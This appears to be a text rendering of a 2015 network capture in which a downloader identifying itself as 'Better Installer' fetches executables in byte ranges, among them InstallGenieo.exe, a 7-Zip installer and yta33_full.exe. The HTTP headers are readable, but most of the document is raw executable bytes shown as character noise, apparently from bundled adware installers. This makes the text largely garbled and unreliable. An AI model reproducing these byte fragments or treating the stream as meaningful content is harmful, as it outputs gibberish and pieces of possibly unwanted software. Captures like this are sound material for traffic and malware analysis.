[email protected].~.%.6.I....F..<.(.O..^<..r.vOh..J...:.....,.sY...
C!2.;O........N:..2. ..F.Q...?g_..n..S..9r l.{...P..fLJ.)......ED..Y..
.e..w.......J....}....... B..y.....}..5.ib.-....6.......&....i....u...
d.aV.Z....a....Q..h.z  N{....Y!N...n.....W...5.f.Z.j. ..O..h.M=k....,.
.O....S .k..j1V...K.E..OYB.].40...A.._u...<...y....}j..].B....7e.D.
..:2........`?I....>.4y.N.#&[:.I..(D.W...r..abD.a..N.....t...0P4q.&
gt;....hV.....;..Ud.OZ..I.....(...p.E.."..{...'..^.X2..U..w.._...(.(..
............z.&.g...E...9.&z.F(...J...EH.......%!...o-aG...:.3.7.....V
.....|.q....<...........&w.......}..G&.w........x...%4?...4.......s
a...vo.G$.Hm...]C..T.F..Kc"j...../.(;...p".v..........[.D..0:#.|..q.c.
a?..r....$;^|.!....\..).K..>......Sm..]s...C....t...._.F....#!..T.z
W<..).*...L.l..Sk...$.2d.C...$....CX7...`.i..X.......(.....T....:SG
.1:.c......z..$%...e.=M#7.^.....:.%...k/.......(.........3.._1.k...]..
.............dh. ....9......!.>..L N....R.h?c......B..Q0s...o......
[email protected]..{.t?....WT.&.../.W...}.../B...T.LAr,.......!E..(....E
.. .T*S#..V6.K......O.F.....j....2z..P|C..e.......x.. k...W.....h.".9.
@Vl......K.=.RP......w..A ...@~x....J.....`..V..T".X...<[email protected].,
...1....0..B....X.v`.F.a.;#^u...n*as. ..U[...|.j.;.{y ....;.v1;W..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=494204-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: hj o2hzyqXv/Jl0qKruj32BvgZ YLyR1d3FAmo4IJ26/kQl S6Z9WkAmOVx5PwaN

x-amz-request-id: 8303EEF9FA76F203

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 494204-988407/988408

Content-Type: application/octet-stream

Content-Length: 494204

Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=146554-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 439660

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 146554-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 a7ff8407dd3b3befd5f1244b3435b471.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qTQ-vNc9YqYA6TG4pjrvvCWBTnoxko_YqDW_WrVy8fHyvlBj4kdcaw==
.#.....<..g .g9^..........e$Y.}.O..........?k.&....2.I..d.^...T.ui.
.II..CUG...n9..L6..{6..=z.gf...$7...="..&..8.....Ps&........X...]....?
....$........j.../.Y7WZ.b.......`........Vc6LDuw.ZMI....:wf.".K1..w..o
{.".../n.fl:>v..}%......3...FX.=9;..p..8.T.U.....`.....7Hwa.$5...g&
lt;.3.....N..^#.a}........k....R.{.C.....v:.z....A.t.xP.........uIYu`.
.}t8..)..G.....A.Q.......J...Lk...;1...Pe..-j.a.....`.&....S"U ..u...3
.jZ.^CuC.(...K..$...5..>.!.<2`W......3E./.k&....?...H-&!a.4...`L
.B..AL..ngl3\!x..x.B........^?E....m...Ox(`..Y......r...H....[..&a,.K.
....%..z.T....#.>.'.i.......A......MyU.J..K4..Hx8..........t...4~..
...)/c.o......,`,......(..bN.".^.`.F...r.mW.......m.%.L{........g..zF.
dU..d...=q...?}.....wh`.}..D0.....$*m..$&.........$.._d........:...]..
....xca.:.9..l.Y.*>....?.r....%U....SXM;...R.P...G...!A..S....."";q
.?V.<.m..... ..Y.^.Ml{...........oiA].&.g....i.A.....%|..w~.3...C..
:Y...M..h......?....z..#..o...2.I...siv.........'S.e..n%[k t.9..tx...Y
.....o..F;..hm.Qf6..,..8..L.6'.v~....7..s...6P*..Z.>pd..K.$:.).k...
....{...?...'..!...]....:.Y....................t.5...... \t.6rtMn.p...
Hh...~ ........Y.........A.&Y.......,p....U...E..}.Fq<&....S..G..H.
u2.......=..C..DG...X...,;.U5.y.....b|8.J9.....NN.....j.y.....z.._;[..
..5......*e.....-....k...B...jh]x..%t..5.a.th.6.O...Hz.[.#...3,tE...3.
X.....|.IX~..q.i........~ ....5......j.O.^..Q.U/D.6....a......5..u..$&
...o...I..`.r{o.......!'...x.....W.F.D..M_.......d.....m.^...R....._x.
.<..L.jewi_.h.Pe..0......I....t. r..)...~. ...-.SI...9.#wps....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/7590800
....A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R.&...T$
9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne.$..|Zv
'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YHsL.....
.l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O...-.^.S.
.TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-WXTl...
...H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&.........eD.ig.
PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....<. I
!........Y....u[@.`............u......C8.6...`..0.......[........0...^
............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e<.#.
.....#...~....U).1G"`...n.........<...0;..h...#....h.....".o.NW".(.
,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0>x..
n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G.!.[...
hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h.eS.0..
.. .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(V...P..
........C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.X...$..
.9..}... ..{.....]. n.....6..i....o.{[email protected].$.
..H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ..R.....
7.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected].:..
.B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs"..n.../.
...7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/.-...y.
..z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..xVL,vA.
w].&5].?A6A.....6Q.v.6...zU*..~:..bGh......GM.3.c%.}.....L.4.C....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/7590800
..|.b..dA..z..j...I.1..../..5.!5...L.'..?|.2...'(.......a.....3:3.i...
E4./...Y"..VH.bn"..IC".....Nvf^oN.1..S=.@}....YvV..?..%{......&.^.c.=.
....1m.N.[........o.<............v.|.....n.L8}d..<oz.z`6pv..%..6
rm."./.....q..y.......!.`.....}....i.....'..".hT.....]......4G.8A.....
|.4S.._.*J.".\e..r|....`.....,].....SR.?{GV......;....!.r~i`._....z.M.
y..c..y...v....rW.aT..q.q.m6dB...s.I.*....W......u.......Fc..Y.69Q....
.%....%....U~..=.........X.I.y.K...gY.>.T.....9g ?p\~...... *.q....
...b.A..Nq^."..R'S..W.1......>..`<4.....yCh*-.!.}E.g..i......../
......]...c.v.k....8..?.G.l.........5..........g..}.2.O.l..r._..q..G}.
......3Z.....}.....O..p..,Y..4.'j...L....@ ..$.~U.....6.O..Fa.).V....b
U...].... ^oz...@.....)...:.s.{.u........%.K_&f...*..f>...o9.1.....
.pH....-........a.u!.}s.......A.m........M.=<[email protected].......
.3... ..6.......<..r.....=0.3G.d.M."|..\.:.1.K....y4D..Oh.....=....
zq.z<.h..o..F.a{o3..J...r/.l*l.AE.."&.!..;.dK.3...)@.......f.u....-
..EI.c...v....N.T.U@.........*.mZ.... ....~..e.x.....C.A..G.#4........
g...,....9.-........k..|.\.w).>(Ao...%@...d.}.c...H... .JCQ6. 6jX4.
..Q.....zx)....y.....).......\v.... F...S.:mKd...,.1C #[email protected]
.3. .g.^.G..o=.2)....I.....gP...&4...=..................q..|.l2..1..8R
...:;60a.@.$..J1H.}.......!W..`..p..h.^t.....D..\...1.O.An.....4......
.K...\I#...\....;5.Tj.M).to,[email protected]..#.C>c..0 .q..4......
...Y.<...K...D.:?.......b..?...{^.a8........H...N&.$G8.........%Bg.
.F....K*Q.c8%`..l..4..I..$E5w......0$..#....pl6..W.....3.R.....2..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/7590800
.#E.,.F...:-....B...M6.....f.C....V [email protected]. ......X...I.:E.'i.
%..2.c...$...0`......B.m ..OR...y....... ...@3...%y.<S,..m3......j.
.yg..Y..n}%...C..F....Fc.7b.oQ.K.......!......Dt.....J.Hf......@...?-.
_.........F..Y.k...P...2K......J..*.c..f..........=U.....aR....DV.C...
..v5.CI.o........On.../.!U.GSz.~S..Mf........{[email protected]&
lt;....&....K..2..:....C"..-..N....O2...iQ$......xvK..=.#.'7..<4.(X
.`.,RF..n...V^..9...KT......,.M.9.'I7sY.7.}V......%.......^...ltZ{y...
*..3......`Y.........T7..q........7.ad..0.^..`...nQ..I.SJ......x....q.
,S.v..N..e=.G...X.w...%>..g......o^b......c......R...$!.U?4.:x.8...
._.R-..f...0D.j...0.q(..x).#.]...dj`jB-40K..<#.......'..V&tN."..>
;[email protected][email protected]".p.g...
[email protected].^....*.T3"QJ.....&..F...... o...3x...
...!....>..\.!...f0.-.......l#[email protected]..."..../.=n|.;F~G
(s...[....P...E|..vUl. .tK.!Ki...w.7.....Av .bg.#.`K.v.J|.!S..]...?...
.....h.....h..t*...r...w.....t%.W........\C..n..{Jm.............F.....
..n..V..b...b..s.,.....3..?v.Q.H..=U.V.....%....6^B...d.F..O3.n.m.:.k.
.{^...T..4..........$.........b.{.):..w.a.}...$...ctW.o...6`).!.Za...H
.....Z.....'m?..w.<..]..$...M..`W%9t0.....>.;>.n....7..Z.....
#.._...G.\..j.....5.T..{..9..Bq..l6......Dn.%.s..:..I.9..C..|X..}/I.. 
.OJ.C..y]....$h.8.W2..CvM.d>...[..3)...'..3O..3>...t...>...L.
. )...V.....'.Hi..U.nM;R$.3*....2|b.|....v].9...-..I .m... .........h.
....GC.$sNq..e68.J.B...r..0<.. .l..Du2...Y...X.'.. ...><Z<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/7590800
es5c......9..q...ce!....].\4....BZH.?....:..R....%2y.W`.....g....J.?7.
,1.S...P...c.C.RmXZA.........Fqs....m...Z .-,.m.......'.G...8(.~.:.Y1.
..BH.e.;RPA..0.y$<7.=....v.._..y....{.5.z.....^..{'D.N.......Hw...2
.%6.dp.:)d....{XC.u.....#as...}..).H.@OSi.;....<.8"....8j.....oF...
5-^. ....P.....x*Q}...&..[...U.U..P.,r.bC.}..Lk...*....l>..g..2....
...-..?..8.Q._.6.....V=a.s_..|..{.P3g9.F.:.....#-2h......A....p...=}/.
..............m....-Q....W.fRF......4.5....ft..h.......cZ.X.....y.[.Q.
....../.$v.*..w....x..#.Z.<f.-.5...D{.....!.I... ....D.T".Z...D...i
z..w..~..../..\..;}.._........D..f....Y......%._......H...)..o.u~.CW..
......(...zv..........9..<_.k...9.....U.....'Y;............`.l...{.
y...;...;.....Y....Z..T.J..;K.A....w.......&..{...P..`Sg..[ .....`~9! 
....$^.......G...^.....{..c...A......xS4.....<.R.3.S.:..]...g..R...
...(......*[...Z. .<I.6......d._5z.d...y.......P...6..L@/.[.N.M`<
;...... ....?...........^F.j..X,{0........... .}...<. 9O_..........
 .-5.Q...%.C..y.v,....3.m......I0f.....y.J.jb.b..'...~6...-..I..y(L.C.
7...oY{Sx.m.8^....6.[....T..X5..l.....a....Y............|.z.jws.......
I.f...^..BX.|..."3......6..qvl.q..G....?...m();[email protected]..`......3...
....2.-...8..>.y.C.............'.......<..m...\...3n..\.%.....K[
...A...h.=..m.PR.v.62;.......r[G.WXo.........(....I........&KGE.&..^..
...j.......M.T.=1....%.....^.......B..if.>.....&`.[....&.Y......G.\
...T[5'MsB.]\...;N......\....&.eN..4C.....Sy.."........}H]R$x.d..;."..
d.t3}..^e.e.wS...G.pNfo..C.b.f...M4]........|eN.....y.H..jX~./E..t<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2250000-2499999/7590800
..".R.....[`...P ..c_H ../.......BA....>.....9.x...[.[D...........N
..V..y....zp`...^{.e..h6p@._.2..........Ce...{....=..{..............#.
...f.!I....J....(..~.W3L......)X..3.3.''.3=.[..^Z...B.|].e{5..k..V....
....f.......&Uc...f.lR\i..j...j.......$uYF..... ?...Yc...,.2O.b5.P....
A.'r.!..2.," ..". .d^...:`&~48..N ..s.....!||@@..!..7G...O8.L.S.F...).
`C.m4b.....t.%..S*..>;'."|...Bq.....v...*@t.E..H.<........h..GK8
/...JB.....(...%..G......h.8..|...L...x.H..JtQ..@:....."$.R......p.G.I
0....D/(.JF..J..)...]\t.H...CC..'......j.......!.B:B.L...Hy...BcP..O..
..R.*...A*U.S..0.B.rhdC..B..n...._...v..A.........P0J$D...f..p..D.(...
..8..."r.J.%.|...j......".-..-.......n.&.$Z....R......>h.=7.DJ.".s.
H%#_.h....>... .W.N..oG=.B8.......9.L.f.....Y.s-..!....<..d\..S.
^..........A..."..!.Ay.g.I..>..0"..j...B4...G.7....bG~ .B...,0Z~.B/
........C.A.....$<m......{.{;...r.O..G.L.93.%q.c. ..........&t8.P..
f....U...DL......i&.%...,Y..Q....'.DO....H3......Xp;...m6.o.5.(.M.SR.X
...HkFRG...h:..B....9..F...M=.Ea.mr*.&5.P.3.......~.K..c...C..U..s'..9
..F_....P....nq.P.............(..A.........OD...G.2.?I....K...\.....3^
.l.c*-`J.D...C..$6.7.....*z...QQ..D...".r...$;B...T3rN.........0 Elf_K
...In~9.;......qT.T5!... )N.E.T$.>.a.).D%E.......}.G.Z...Y.........
...H.l.....X.e.*..v..D...S...`....z..&.K........o$p..E=..(.......I[*..
.o."...'!CH0......."$>>......d.G.....3....@(..^Q.....j.rR..AA..i
.Q...,.B...j.......a.j. l...a......d.h% * .....J<..b......"O....I."
\' ..;..8....`[email protected]'.DH..q.C(E.E.R.4UO..q^..Z<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/7590800
O#.g.S.*...UA.]0..wOBY.O_..'...1....<..@......*,..A.._f.]".......{.
x.]v.......-</..R....-@-.....?...2.?...'J&G... ...BL..?..ht.J:.:.=.
( ..8..Z..b3X...7.7.I}.9}F2.5....:$..S|_...=...**.BULN....K..9..<.*
p.:.O.P.....c.U....L..... q......x.......A.....J.e.c..;Ye....G...FP..=
.mQv..a..:..............P.(?  |...2..C..=.........g.ix..P.y..=.....m&.
.....F-Et<~b.xD...M.....5...y.*..o.}T...6..Q....E.q.........F....P\
!.........A.\..8j :nU/...q|0.e%F.|...N<|.,?.^~...V..^..2.N9e. ....Y
....9zU]........y.=`...Q6fUR ...I....t.c;c#..8.......a\.hn[yB.|...D.c.
....4.QFxGa...l.......Q0.q./.....@O.\i..(.8X......w........#U...n.....
..1z..|8....2....S...."..S...|K.w..|.....v.Re.x.%..yV....... .|..._.If
...D..X#Ht......Y:...%.?....:..d.,....I;..........)...'c...,N<....*
..G....M..!..j.............0.^.h[.6..;...=D.T......r6.....).I.&......O
.....@E.`.....L.`.|..,. ....j....\.`[email protected]........,.#.....V
.s...i.....xd...K.7..e.n;sg....IP....\&...............4......!..: ..].
.k ...(!.I...D....t.....`=...a.H.$r.....|[WIis....;3_......J..]...9j..
3.&..=V..T..G.J_.?:.|.k.r.z...W...v.gX..O...I.Q...nAh.........v....('.
.....a....S....o.. bRk..YLG\r3.ogc.....U....Bu.. ig......l.>..|...5
3ZJD>.GN.7..MA3.R...L.:........U.YY.m%.G......R....S.or.c1.%.Z.F...
r...LN......5.w$g&.\.._.....V.h...bbv...bbu)[...~....V.".7...:g.P.....
R2.JqE........./f.I..Kzp$....YF...d..9........F.y...Q....#.(Bf..."....
q.QP`.U..h. #s,`}....C...2.9cJ,....U.CT.#X.......D.o...l.......6n.6.S.
....:....e..a}...32,R..I.....l.....xG.e...6..T...y.Z.....~........<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/7590800
...y.....L...p...y9.zY..i..%....j..|._&i.......[.=..=.IC.Sw?..\..8..x.
b]...J.F\.U..Mf....*...l....S...f.......%..r/......*...E..}!l%..TWG.v.
.U..N..B/.}.}U4)%.l;.5......~,.....{......{././..5%....% .f.....(..9.=
........e.*0cOgd...l..A.W.:m^.ku._.;6i.......f...z.6...O..e>{<..
...`,[email protected]:..;..q...O....;..'..... .n.D{....e.~Hg..z.........].x..
.l.fg:...?U...r.=f...?A........Z..uS!..Xy..}.1.T<..)...#..ab..'4."O
.Y.p.......b.D.L2Q{y..~.>..rie.M)...QD..LD..v.G..88)R.~.[..,....]W_
..O...7...s....v.DY...j.d...d......z^QU......bI......R......L..iT~.N*P
..........m{[email protected]....
.y.4.W....S..qJ{.$1.........}...{BR....Q3=.-....\....h....T..i..5.\.K.
.I....1V...>.....J../.?.v|........*%a.......BF............r...%..xb
.5....l5.P]`...j....7...E#..............o%G..j?.l..S.jJ.....l.f/..lP.w
.6X.....2Pi.]-^.}..s....{7..nO.M...g5.S......<.7a......oI...q......
f8....)..O....^....o..q..t..[.:.q..zd..c.U...>.e.;...F.%..L......].
..'....p.;..fX%{d(.{3..V....*......QJ......2.^Y]...D......rz.!..b.^f.B
M.[M.....W.oZ!7^@e;..?g.....o...csD....8.].x...d....>..f.......X.0.
...r(!.L...(&R. ,....:..Mi|.....~.m.l...%q.8...r{..mcZ.w........I.L...
..(1p...c.l8...df.... ....}..........`...X.I..._.. .D='...O.g..l.[.z.k
7..k2.|...C......Vbz..'.......O..d.dg..J.7gP.3........\....`.4C....'..
.(..%.Ny..\,.s...6O..sM.....$H`.?E.e.N{d.t.y...9..7^.g..Y.y.4....H....
)......q..C..42.......Ai...>u.l......Ag*.._Nw.Tc.x..}QE......o,..Z.
....?....xzah;....L/....s.|..f3..Wfi..O...3.hY...%....D.o.].......<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/7590800
..N..(.j..X.E.|........#C.W....L.^Z-B.9.!P|.25-U..X.......;,...g.Q..E&
gt;......8...T...|...x.......c..s.....f-.../".W..S..&P}v=....Z1...C...
.;.l.8V...e..5.6.%.Mx.}[email protected].[..Y...$..5!.
....Fe....ze.SE..H....Y.tR.,.2..........Ue..\...Cu..Z.9........... K..
.nD..Z..z...V..5.}.be.t.aZZ.,..C.....3.<.........\.H...T..=..&..:..
.....l.......a...B3>7..g...V.....>.U.M...hN.;AD...)Dm..3..9...J.
